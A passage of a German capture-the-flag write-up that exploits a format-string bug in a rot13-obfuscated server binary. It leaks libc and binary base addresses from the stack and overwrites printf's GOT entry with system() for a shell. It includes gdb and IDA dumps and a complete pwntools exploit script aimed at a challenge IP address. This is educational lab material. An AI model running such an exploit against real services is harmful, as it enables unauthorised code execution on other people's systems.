[21] .init_array       INIT_ARRAY       0000000000003208  00002208     0000000000000008  0000000000000008  WA       0     0     8
[22] .fini_array       FINI_ARRAY       0000000000003210  00002210     0000000000000008  0000000000000008  WA       0     0     8
[23] .dynamic          DYNAMIC          0000000000003218  00002218     00000000000001f0  0000000000000010  WA       7     0     8
[24] .got              PROGBITS         0000000000003408  00002408     0000000000000088  0000000000000008  WA       0     0     8
[25] .data             PROGBITS         0000000000003490  00002490     0000000000000010  0000000000000000  WA       0     0     8
[26] .bss              NOBITS           00000000000034a0  000024a0     0000000000000030  0000000000000000  WA       0     0     32
[27] .comment          PROGBITS         0000000000000000  000024a0     000000000000002a  0000000000000001  MS       0     0     1
[28] .symtab           SYMTAB           0000000000000000  000024d0     0000000000000750  0000000000000018          29    46     8
[29] .strtab           STRTAB           0000000000000000  00002c20     00000000000002ee  0000000000000000           0     0     1
[30] .shstrtab         STRTAB           0000000000000000  00002f0e     000000000000011a  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wenn das zu viel zu lesen ist, &lt;code&gt;| grep W -B 1&lt;/code&gt; zeigt schnell, dass folgende Sektionen beschreibbar sind:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.init_array&lt;/code&gt;: &lt;code&gt;WA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.fini_array&lt;/code&gt;: &lt;code&gt;WA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.dynamic&lt;/code&gt;: &lt;code&gt;WA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.got&lt;/code&gt;: &lt;code&gt;WA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.data&lt;/code&gt;: &lt;code&gt;WA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.bss&lt;/code&gt;: &lt;code&gt;WA&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;WA&lt;/code&gt; bedeutet hier, dass wir nicht nur schreiben, sondern dort auch allozieren können (was für uns wahrscheinlich irrelevant ist). Das &lt;code&gt;X&lt;/code&gt; für Execute fehlt aber bei allen. Das bedeutet wohl für uns, dass wir nicht einfach irgendwo Shellcode rein schreiben und ihn dann ausführen können.&lt;/p&gt;
&lt;p&gt;Wenn wir uns jetzt an das &lt;code&gt;norelro&lt;/code&gt; zurückerinnern: Das bewirkt in diesem Fall, dass &lt;code&gt;.got&lt;/code&gt; beschreibbar ist.
Wie es der Zufall will, &lt;a href=&quot;https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html&quot;&gt;ist das Beschreiben der GOT-Sektion ein bekannter Angriffsvektor&lt;/a&gt;.
Das wird dann wohl unser Ziel sein.&lt;/p&gt;
&lt;h4&gt;Global Offset Table (GOT)&lt;/h4&gt;
&lt;p&gt;Was macht die GOT denn?&lt;/p&gt;
&lt;p&gt;In der GOT sind Verweise auf importierte Funktionen, wie z. B. &lt;code&gt;printf&lt;/code&gt;, &lt;code&gt;exit&lt;/code&gt;, &lt;code&gt;putc&lt;/code&gt;, &lt;code&gt;puts&lt;/code&gt; und so weiter.&lt;/p&gt;
&lt;p&gt;Gehen wir mal in IDA in die GOT. Über &lt;code&gt;View -&amp;gt; Open Subview -&amp;gt; Segments&lt;/code&gt; erhalten wir eine Liste der Sektionen innerhalb der Binary, ähnlich wie mit &lt;code&gt;readelf&lt;/code&gt; oben.
Mit einem Doppelklick auf &lt;code&gt;.got&lt;/code&gt; landen wir schon an der richtigen Stelle:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.got:0000000000003408 ; ===========================================================================
.got:0000000000003408
.got:0000000000003408 ; Segment type: Pure data
.got:0000000000003408 ; Segment permissions: Read/Write
.got:0000000000003408 _got            segment qword public &apos;DATA&apos; use64
.got:0000000000003408                 assume cs:_got
.got:0000000000003408                 ;org 3408h
.got:0000000000003408 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got:0000000000003410 qword_3410      dq 0                    ; DATA XREF: sub_1020↑r
.got:0000000000003418 qword_3418      dq 0                    ; DATA XREF: sub_1020+6↑r
.got:0000000000003420 puts_ptr        dq offset puts          ; DATA XREF: _puts+4↑r
.got:0000000000003428 __stack_chk_fail_ptr dq offset __stack_chk_fail
.got:0000000000003428                                         ; DATA XREF: ___stack_chk_fail+4↑r
.got:0000000000003430 printf_ptr      dq offset printf        ; DATA XREF: _printf+4↑r
.got:0000000000003438 strcmp_ptr      dq offset strcmp        ; DATA XREF: _strcmp+4↑r
.got:0000000000003440 putc_ptr        dq offset putc          ; DATA XREF: _putc+4↑r
.got:0000000000003448 feof_ptr        dq offset feof          ; DATA XREF: _feof+4↑r
.got:0000000000003450 setvbuf_ptr     dq offset setvbuf       ; DATA XREF: _setvbuf+4↑r
.got:0000000000003458 exit_ptr        dq offset exit          ; DATA XREF: _exit+4↑r
.got:0000000000003460 getc_ptr        dq offset getc          ; DATA XREF: _getc+4↑r
.got:0000000000003468 _ITM_deregisterTMCloneTable_ptr dq offset _ITM_deregisterTMCloneTable
.got:0000000000003468                                         ; DATA XREF: deregister_tm_clones+13↑r
.got:0000000000003470 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000003470                                         ; DATA XREF: _start+28↑r
.got:0000000000003478 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000003478                                         ; DATA XREF: _init_proc+8↑r
.got:0000000000003480 _ITM_registerTMCloneTable_ptr dq offset _ITM_registerTMCloneTable
.got:0000000000003480                                         ; DATA XREF: register_tm_clones+24↑r
.got:0000000000003488 __cxa_finalize_ptr dq offset __imp___cxa_finalize
.got:0000000000003488                                         ; DATA XREF: __cxa_finalize+4↑r
.got:0000000000003488                                         ; __do_global_dtors_aux+E↑r
.got:0000000000003488 _got            ends
.got:0000000000003488
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hier sind alle libc-Funktionen gelistet, die in dem Programm verwendet werden.
Man sieht ganz gut, dass z. B. Offset &lt;code&gt;0x3430&lt;/code&gt; auf &lt;code&gt;printf&lt;/code&gt; der importierten libc zeigt.&lt;/p&gt;
&lt;p&gt;Wenn im Programm jetzt z. B. &lt;code&gt;exit(0)&lt;/code&gt; steht, wird in die Procedure-Linkage-Table (PLT) gesprungen, welche sich die Adresse der &quot;richtigen&quot; &lt;code&gt;exit&lt;/code&gt;-Funktion aus dieser GOT holt. Wir werden genau dieses Verhalten später sehen, wenn wir mit gdb durchsteppen. Die PLT fungiert hier als eine indirektion, die wir quasi nicht beachten müssen, solange wie die richtige Adresse in die GOT schreiben. Die PLT selbst können wir nicht beschreiben. &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/1992&quot;&gt;Mehr Infos zu PLT/GOT hier&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wir können also an eine beliebige Stelle/Funktion springen, indem wir einfach die Zieladresse z. B. in den Eintrag für &lt;code&gt;exit&lt;/code&gt; schreiben.
Wenn wir dann in dem Programm zu der Stelle kommen, die &lt;code&gt;exit(0)&lt;/code&gt; aufruft, wird letztendlich auf unsere Stelle gesprungen.&lt;/p&gt;
&lt;h3&gt;Shell spawnen&lt;/h3&gt;
&lt;p&gt;An beliebige Adressen springen zu können, ist schon mal ganz gut. Aber wohin wollen wir springen?&lt;/p&gt;
&lt;p&gt;Um eine Shell zu spawnen, kann man nicht nur selbst-injizierten Shellcode ausführen.
Wir können auch die libc verwenden und z. B. &lt;a href=&quot;https://man7.org/linux/man-pages/man3/system.3.html&quot;&gt;&lt;code&gt;system(3)&lt;/code&gt;&lt;/a&gt; oder &lt;a href=&quot;https://man7.org/linux/man-pages/man2/execve.2.html&quot;&gt;&lt;code&gt;execve(2)&lt;/code&gt;&lt;/a&gt; aufrufen.&lt;/p&gt;
&lt;p&gt;Wenn wir also die Adresse dieser Funktionen hätten, könnten wir die GOT so überschreiben, dass wir zu diesen Funktionen springen. Welche Funktion können wir als Ziel nehmen?&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;int execve(const char *pathname, char *const argv[], char *const envp[]);&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Um &lt;code&gt;execve&lt;/code&gt; aufrufen zu können, müssten wir auch die geforderte Parameter an die Funktion übergeben.
Da wir einen bestehenden Funktionsaufruf überschreiben, müsste diese Funktion auch die Parameter schon &quot;richtig&quot; nehmen.
Für &lt;code&gt;argv&lt;/code&gt; und &lt;code&gt;envp&lt;/code&gt; könnte man null noch verkraften, aber wenn die &lt;a href=&quot;https://de.wikipedia.org/wiki/Aufrufkonvention&quot;&gt;Calling-Convention&lt;/a&gt; nicht eingehalten wird, sieht das schlecht aus.&lt;/p&gt;
&lt;p&gt;Stellen wir &lt;code&gt;execve&lt;/code&gt; mal hinten an.&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;int system(const char *command);&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;system&lt;/code&gt; nimmt einen Parameter, das auszuführende Command, welches als Argument an &lt;code&gt;/bin/sh -c&lt;/code&gt; übergeben wird.&lt;/p&gt;
&lt;p&gt;Zufällig nimmt &lt;code&gt;printf&lt;/code&gt; auch einen Parameter (die Variadic-Arguments dahinter können wir auch ignorieren).
Es sieht also so aus, als könnten wir den &lt;code&gt;printf&lt;/code&gt;-Aufruf überschreiben und durch &lt;code&gt;system&lt;/code&gt; ersetzen.
Wenn wir das machen würden würde dann die Nutzereingabe aus dem &lt;code&gt;my_read&lt;/code&gt; direkt (mit etwas rot13) an &lt;code&gt;sh -c&lt;/code&gt; übergeben werden -- quasi eine Shell also!&lt;/p&gt;
&lt;h3&gt;Zusammenfassung&lt;/h3&gt;
&lt;p&gt;Wir werden versuchen, den Eintrag von &lt;code&gt;printf&lt;/code&gt; in der GOT so umzuschreiben, dass er auf &lt;code&gt;system&lt;/code&gt; zeigt. Dadruch sollten wir eine Shell bekommen.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Versuchen wir das Ganze mal. Was benötigen wir denn, um unseren Exploit zu fahren?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Die GOT befindet sich in unserer Binary. Konkret: Wir wollen an Offset &lt;code&gt;0x3430&lt;/code&gt; unserer Binary schreiben.&lt;/li&gt;
&lt;li&gt;Was wollen wir da hin schreiben? Die Adresse von &lt;code&gt;system&lt;/code&gt; in unserer libc. Die befindet sich an Offset &lt;code&gt;0x55410&lt;/code&gt; in der libc, die sie uns mitgeliefert haben. Der Offset muss nicht bei jeder libc gleich sein, was wohl der Grund sein wird, dass sie uns diese mitgeliefert haben.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jetzt müssen wir noch rausfinden, wie die Basisadressen der libc und des Servers zur Laufzeit sind. Wir können zum Testen mal in das &lt;code&gt;/proc&lt;/code&gt;-Verzeichnis schauen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat /proc/`pidof server`/maps
7f3033510000-7f3033535000 r--p 00000000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f3033535000-7f30336ad000 r-xp 00025000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336ad000-7f30336f7000 r--p 0019d000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336f7000-7f30336f8000 ---p 001e7000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336f8000-7f30336fb000 r--p 001e7000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336fb000-7f30336fe000 rw-p 001ea000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336fe000-7f3033702000 rw-p 00000000 00:00 0
7f3033710000-7f3033712000 rw-p 00000000 00:00 0
7f3033720000-7f3033721000 r--p 00000000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033721000-7f3033743000 r-xp 00001000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033743000-7f3033744000 r-xp 00023000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033744000-7f303374b000 r--p 00024000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374b000-7f303374c000 r--p 0002b000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374d000-7f303374e000 r--p 0002c000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374e000-7f303374f000 rw-p 0002d000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374f000-7f3033750000 rw-p 00000000 00:00 0
7f303375c000-7f303375d000 r--p 00000000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375d000-7f303375e000 r-xp 00001000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375e000-7f303375f000 r--p 00002000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375f000-7f3033760000 rw-p 00002000 00:00 476020             /mnt/c/Temp/challenge/server
7ffff4ffc000-7ffff57fc000 rw-p 00000000 00:00 0                  [stack]
7ffff5a3f000-7ffff5a40000 r-xp 00000000 00:00 0                  [vdso]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unser Server fängt bei &lt;code&gt;0x7f303375c000&lt;/code&gt; an, die libc bei &lt;code&gt;0x7f3033510000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Wir hätten unserer Theorie nach also diese Adressen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Der relevante GOT-Eintrag sollte bei &lt;code&gt;0x7f303375c000 + 0x3430 = 0x7f303375f430&lt;/code&gt; liegen&lt;/li&gt;
&lt;li&gt;Die &lt;code&gt;system&lt;/code&gt;-Funktion sollte bei &lt;code&gt;0x7f3033510000 + 0x55410 = 0x7f3033565410&lt;/code&gt; zu finden sein.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Als Cross-Check:&lt;/p&gt;
&lt;p&gt;Starten wir gdb und schauen nach. Zuerst überprüfen wir den GOT-Eintrag. Dazu schauen wir uns die Main-Funktion an und setzen einen Breakpoint beim &lt;code&gt;printf&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo gdb ./server `pidof server`
(gdb) disas main
[...]
   0x00007f303375d5a5 &amp;lt;+461&amp;gt;:   mov    eax,0x0
   0x00007f303375d5aa &amp;lt;+466&amp;gt;:   call   0x7f303375d0f0 &amp;lt;printf@plt&amp;gt;
   0x00007f303375d5af &amp;lt;+471&amp;gt;:   mov    rax,QWORD PTR [rip+0x1eea]
[...]
(gdb) br *0x00007f303375d5aa
Breakpoint 1 at 0x7f303375d5aa
# Nutzer macht Eingaben
Breakpoint 1, 0x00007f303375d5aa in main ()
# wir sind jetzt bei printf
(gdb) si # eine instruction weiter springen (in diesem Fall den Call folgen)
0x00007f303375d0f0 in printf@plt ()
# Wir befinden uns jetzt in der PLT und sollten jetzt die Adresse in der GOT als Call sehen
(gdb) disas
Dump of assembler code for function printf@plt:
=&amp;gt; 0x00007f303375d0f0 &amp;lt;+0&amp;gt;:     endbr64
   0x00007f303375d0f4 &amp;lt;+4&amp;gt;:     bnd jmp QWORD PTR [rip+0x2335]        # 0x7f303375f430 &amp;lt;printf@got.plt&amp;gt;
   0x00007f303375d0fb &amp;lt;+11&amp;gt;:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hier sehen wir in dem Kommentar, den gdb für uns gemacht hat: &lt;code&gt;0x7f303375f430 &amp;lt;printf@got.plt&amp;gt;&lt;/code&gt;. Das ist genau die Adresse, die wir erwartet haben. Der Prozessor wird also dann dort hin springen, wohin der Eintrag in der GOT zeigt, also in das &lt;code&gt;printf&lt;/code&gt; der libc. Das passt soweit.&lt;/p&gt;
&lt;p&gt;Schauen wir jetzt nach, ob die Adresse für &lt;code&gt;system&lt;/code&gt; stimmt. Das machen wir so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas 0x7f3033565410
Dump of assembler code for function __libc_system:
   0x00007f3033565410 &amp;lt;+0&amp;gt;:     endbr64
   0x00007f3033565414 &amp;lt;+4&amp;gt;:     test   rdi,rdi
   0x00007f3033565417 &amp;lt;+7&amp;gt;:     je     0x7f3033565420 &amp;lt;__libc_system+16&amp;gt;
   0x00007f3033565419 &amp;lt;+9&amp;gt;:     jmp    0x7f3033564e50 &amp;lt;do_system&amp;gt;
   0x00007f303356541e &amp;lt;+14&amp;gt;:    xchg   ax,ax
   0x00007f3033565420 &amp;lt;+16&amp;gt;:    sub    rsp,0x8
   0x00007f3033565424 &amp;lt;+20&amp;gt;:    lea    rdi,[rip+0x162187]        # 0x7f30336c75b2
   0x00007f303356542b &amp;lt;+27&amp;gt;:    call   0x7f3033564e50 &amp;lt;do_system&amp;gt;
   0x00007f3033565430 &amp;lt;+32&amp;gt;:    test   eax,eax
   0x00007f3033565432 &amp;lt;+34&amp;gt;:    sete   al
   0x00007f3033565435 &amp;lt;+37&amp;gt;:    add    rsp,0x8
   0x00007f3033565439 &amp;lt;+41&amp;gt;:    movzx  eax,al
   0x00007f303356543c &amp;lt;+44&amp;gt;:    ret
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Und tatsächlich, es ist die richtige Adresse! gdb ist sogar so nett und schreib uns noch das Symbol dazu: &lt;code&gt;__libc_system&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Damit sind wir quasi fertig, oder? Nicht ganz.&lt;/p&gt;
&lt;p&gt;Jedes Mal, wenn wir das Programm ausführen, sind die Adressen anders. Also das &lt;code&gt;cat /proc/$(pidof server)/maps&lt;/code&gt; von weiter oben wird jedes Mal anders aussehen. Lediglich die Offsets bleiben gleich. Das Prinzip nennt man &lt;a href=&quot;https://en.wikipedia.org/wiki/Position-independent_code&quot;&gt;position-independent execution&lt;/a&gt; (PIE). Wir können also nicht einfach die Adressen hartkodieren und sind fertig.&lt;/p&gt;
&lt;p&gt;Wir müssen irgendwie an die Basisadressen der libc (oben &lt;code&gt;0x7f3033510000&lt;/code&gt;) und des Servers (&lt;code&gt;0x7f303375c000&lt;/code&gt;) im Speicher kommen.&lt;/p&gt;
&lt;p&gt;Schauen wir uns mal den Stack an (&lt;code&gt;c%&lt;/code&gt; ist die Verschlüsselung von &lt;code&gt;%p&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./server
Welcome to our 86-GBE service!
Enter your message and press return.
Enter quit to exit.
c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c%
(nil) 0x25 (nil) (nil) 0x7f3033731d50 0x7ffff57faa78 0x100000340 0x25fb034000000340 0x7d000000fb 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f3000702520 0x7ffff57faa70 0x2e9dd1a1f7c9ac00 (nil) 0x7f30335370b3 0x71 0x7ffff57faa78 0x1336f8618 0x7f303375d3d8 0x7f303375d5d0 0x44eb45a416c6b2c2 0x7f303375d160 0x7ffff57faa70 (nil) (nil) 0xbb14af5b45e6b2c2 0xba8b2302f608b2c2 (nil) (nil) (nil) 0x1 0x7ffff57faa78 0x7ffff57faa88 0x7f303374f190 (nil) (nil) 0x7f303375d160 0x7ffff57faa70 (nil) (nil) 0x7f303375d18e 0x7ffff57faa68 0x1c 0x1 0x7ffff57fad0f (nil) 0x7ffff57fad1d 0x7ffff57fad2d 0x7ffff57fad3e 0x7ffff57fb070 0x7ffff57fb084 0x7ffff57fb0a5 0x7ffff57fb0d5 0x7ffff57fb10a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Auffällig:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An Offset 2 (&lt;code&gt;0x25&lt;/code&gt;) ist wohl die Größe unseres Buffers.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x70&lt;/code&gt; &lt;code&gt;0x25&lt;/code&gt; (&lt;code&gt;%p&lt;/code&gt;) ist unsere ursprüngliche Eingabe, daher wird das Array &lt;code&gt;input&lt;/code&gt; an Offset 10 liegen. Hier muss man auf die Endianess achten.&lt;/li&gt;
&lt;li&gt;Danach wohl noch ein paar Pointer, die sich ändern, wenn man das Programm neu startet&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vielleicht ist bei den Pointern ja einer dabei, den wir brauchen. Wenn man eine Funktion mit &lt;code&gt;call&lt;/code&gt; aufruft, pusht der Prozessor dabei üblicherweise die Rücksprungadresse auf den Stack. Da die &lt;code&gt;main&lt;/code&gt;-Funktion üblicherweise nicht die &quot;richtige&quot; Main-Funktion ist, sondern von der libc gewrappt wird, werden wir sicherlich eine Rücksprungadresse in die libc dort finden.&lt;/p&gt;
&lt;p&gt;Vergleichen wir mal die Adressen mit denen, die wir zu den gemappten Sektionen oben haben. Die libc fängt bei &lt;code&gt;0x7f3033510000&lt;/code&gt; an. Sucht man nach &lt;code&gt;7f30335&lt;/code&gt;, fällt einem  &lt;code&gt;0x7f30335370b3&lt;/code&gt; in&apos;s Auge. Das ist die einzige Adresse vom Stack, die 7 hexadezimale Stellen mit der libc-Basisadresse teilt (und damit ist die meisten Stellen). Die wäre also ein guter Kandidat für eine libc-Funktion. Schauen wir mal in gdb nach:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas 0x7f30335370b3
Dump of assembler code for function __libc_start_main:
   0x00007f3033536fc0 &amp;lt;+0&amp;gt;:     endbr64
   0x00007f3033536fc4 &amp;lt;+4&amp;gt;:     push   r15
   0x00007f3033536fc6 &amp;lt;+6&amp;gt;:     xor    eax,eax
# ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nice, das ist eine Adresse in der &lt;code&gt;__libc_start_main&lt;/code&gt;, also der Funktion, die die main-Funktion wrappt! Nachdem wir dieses Vorgehen ein paar Mal wiederholt haben, können wir bestätigen, dass an Stelle 45 auf dem Stack eine Adresse zu einer Instruction in der &lt;code&gt;__libc_start_main&lt;/code&gt; steht und auch immer auf dieselbe Instruction zeigt.&lt;/p&gt;
&lt;p&gt;Rechnen wir jetzt &lt;code&gt;0x7f30335370b3 - 0x7f3033510000&lt;/code&gt;, erhalten wir &lt;code&gt;0x270b3&lt;/code&gt;. Das ist der Offset, der diese Rücksprungadresse zum Beginn der libc im Speicher hat.&lt;/p&gt;
&lt;p&gt;Schauen wir jetzt, dass wir die Adresse der GOT bekommen. Wir suchen im Stack also den besten Präfix für &lt;code&gt;0x7f303375c000&lt;/code&gt;. Da gibt es ein paar. nach ein par Mal neustarten wissen wir, dass (aus dem Beispiel oben) &lt;code&gt;0x7f303375d3d8&lt;/code&gt; -- also die 49. Stelle -- (direkt!) auf die Main-Funktion zeigt, die sich in der Server-Binary befindet:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb)
disas 0x7f303375d3d8
Dump of assembler code for function main:
   0x00007f303375d3d8 &amp;lt;+0&amp;gt;:     endbr64
   0x00007f303375d3dc &amp;lt;+4&amp;gt;:     push   rbp
   0x00007f303375d3dd &amp;lt;+5&amp;gt;:     mov    rbp,rsp
# ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Randnotiz: Das ist an Stelle 49, also weiter unten im Stack als die Rücksprungadresse in die libc. Das kommt wahrscheinlich daher, dass die &lt;code&gt;main&lt;/code&gt;-Funktion eine lokale Variable in der &lt;code&gt;__libc_start_main&lt;/code&gt; ist.&lt;/p&gt;
&lt;p&gt;Wir berechnen wieder das Offset zur Basisadresse: &lt;code&gt;0x7f303375d3d8 - 0x7f303375c000&lt;/code&gt;, erhalten &lt;code&gt;0x13d8&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Wir können also remote durch Nutzereingaben die Adressen der libc und der Server-Binary herausfinden. Außerdem haben wir feste Offsets und wissen daher, wohin/was wir schreiben müssen.&lt;/p&gt;
&lt;p&gt;Bisher haben wir das &lt;code&gt;printf&lt;/code&gt; nur verwendet, um Informationen aus dem Prozess zu leaken. Jetzt können wir &lt;code&gt;pritnf&lt;/code&gt; auch verwenden, um den Speicher zu beschreiben.&lt;/p&gt;
&lt;h2&gt;Exploit-Code&lt;/h2&gt;
&lt;p&gt;Ich verwende die &lt;a href=&quot;https://github.com/Gallopsled/pwntools&quot;&gt;pwntools&lt;/a&gt;. Die abstrahieren ein bisschen Glue-Code weg und man kann sich auf das wesentliche konzentrieren. Man kann auch einfach zwischen lokalem und remote-Target wechseln. Für uns ist auch interessant, dass es automatisiert Format-String-Expolits fahren kann. Man kann einfach eine Adresse angeben und die pwntools versuchen automatisiert, diese Adresse zu beschreiben.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
from pwn import *

# rot13 and string-reversal are implemented in a seperate file (not necessary for understanding this exploit)
import bnd_grade_encryption

context.clear(arch = &apos;amd64&apos;, os=&apos;linux&apos;)

s = remote(&apos;152.96.7.8&apos;, 4242)
# s = process(&apos;./server&apos;) # uncomment for local exploitation

# Skip welcome message
s.recvline()
s.recvline()
s.recvline()

def send_payload(payload):
    payload = bnd_grade_encryption.encrypt_or_decrypt(payload)
    s.sendline(payload)
    return s.recvline()

# Fetch pointer to `main` method
main_method_ptr = send_payload(b&apos;%49$p&apos;)
main_method_ptr = int(main_method_ptr.decode(&apos;ascii&apos;), 0)

server_base = main_method_ptr - 0x13d8

# Fetch pointer to some instruction in `__libc_start_main`
libc_start_main_ptr = send_payload(b&apos;%45$p&apos;)
libc_start_main_ptr = int(libc_start_main_ptr.decode(&apos;ascii&apos;), 0)
libc_base = libc_start_main_ptr - 0x270b3

libc_system_ptr = libc_base + 0x55410  # Pointer to `system(3)` in current memory

printf_got_entry_addr = server_base + 0x3430  # entry in the GOT we want to rewrite to `system(3)`

print(f&apos;        mod: {hex(server_base)}&apos;)
print(f&apos;       main: {hex(main_method_ptr)}&apos;)
print(f&apos;  libc_base: {hex(libc_base)}&apos;)
print(f&apos;libc_system: {hex(libc_system_ptr)}&apos;)
print(f&apos;     printf: {hex(printf_got_entry_addr)}&apos;)

print()
print(&apos;Press return to get a shell&apos;)
input()

# Use format string exploit to path GOT entry
got_patcher = FmtStr(execute_fmt=send_payload)
got_patcher.write(printf_got_entry_addr, libc_system_ptr)
got_patcher.execute_writes()

# Not using s.interactive() because we have weird encoding stuff
i = &apos;id&apos;
while i != &apos;&apos;:
    payload = bnd_grade_encryption.encrypt_or_decrypt(i)
    s.sendline(payload)
    lines = s.recvlines(timeout=2)
    print(&apos;\n&apos;.join(map(lambda a: a.decode(&apos;ascii&apos;), lines)))
    i = input(&apos;$ &apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Anmerkung&lt;/em&gt;: Dieses ganze Offset-Berechnen, was ich hier von hand gemacht hab, kann man auch mit den pwntools halbautomatisch machen, indem man sich die ELF-Binary lädt und mit denen rechnet.&lt;/p&gt;
&lt;p&gt;Wenn wir den Exploit ausführen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./a.py

[+] Starting local process &apos;./server&apos;: pid 5555
        mod: 0x7f9bc6d36000
       main: 0x7f9bc6d373d8
  libc_base: 0x7f9bc6b00000
libc_system: 0x7f9bc6b55410
     printf: 0x7f9bc6d39430

Press return to get a shell

[*] Found format string offset: 10
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

$ cat flag.txt
&amp;lt;individuelle flag&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fertig!&lt;/p&gt;
&lt;h2&gt;Schlussbemerkungen&lt;/h2&gt;
&lt;p&gt;Das sieht in diesem Writeup so aus, als wäre das ganz schnell gegangen. Natürlich liegt der Fokus hier auf dem Happy-Path.&lt;/p&gt;
&lt;p&gt;Als ich an dem CTF saß, hab ich viele Fehlversuche gehabt und musste sehr viel recherchieren. Nicht, dass hier der Eindruck entsteht, dieser Exploit sei (für mich) einfach gewesen. Es war eher so ein &quot;my first binary exploit&quot;.&lt;/p&gt;
&lt;p&gt;Für richtige CTFler wäre das hier wahrscheinlich wirklich straight-forward gewesen.
Zu Beginn wusste ich aber absolut nichts über den Aufbau von ELF, die Sektionen etc.
Jetzt bin ich schlauer!&lt;/p&gt;
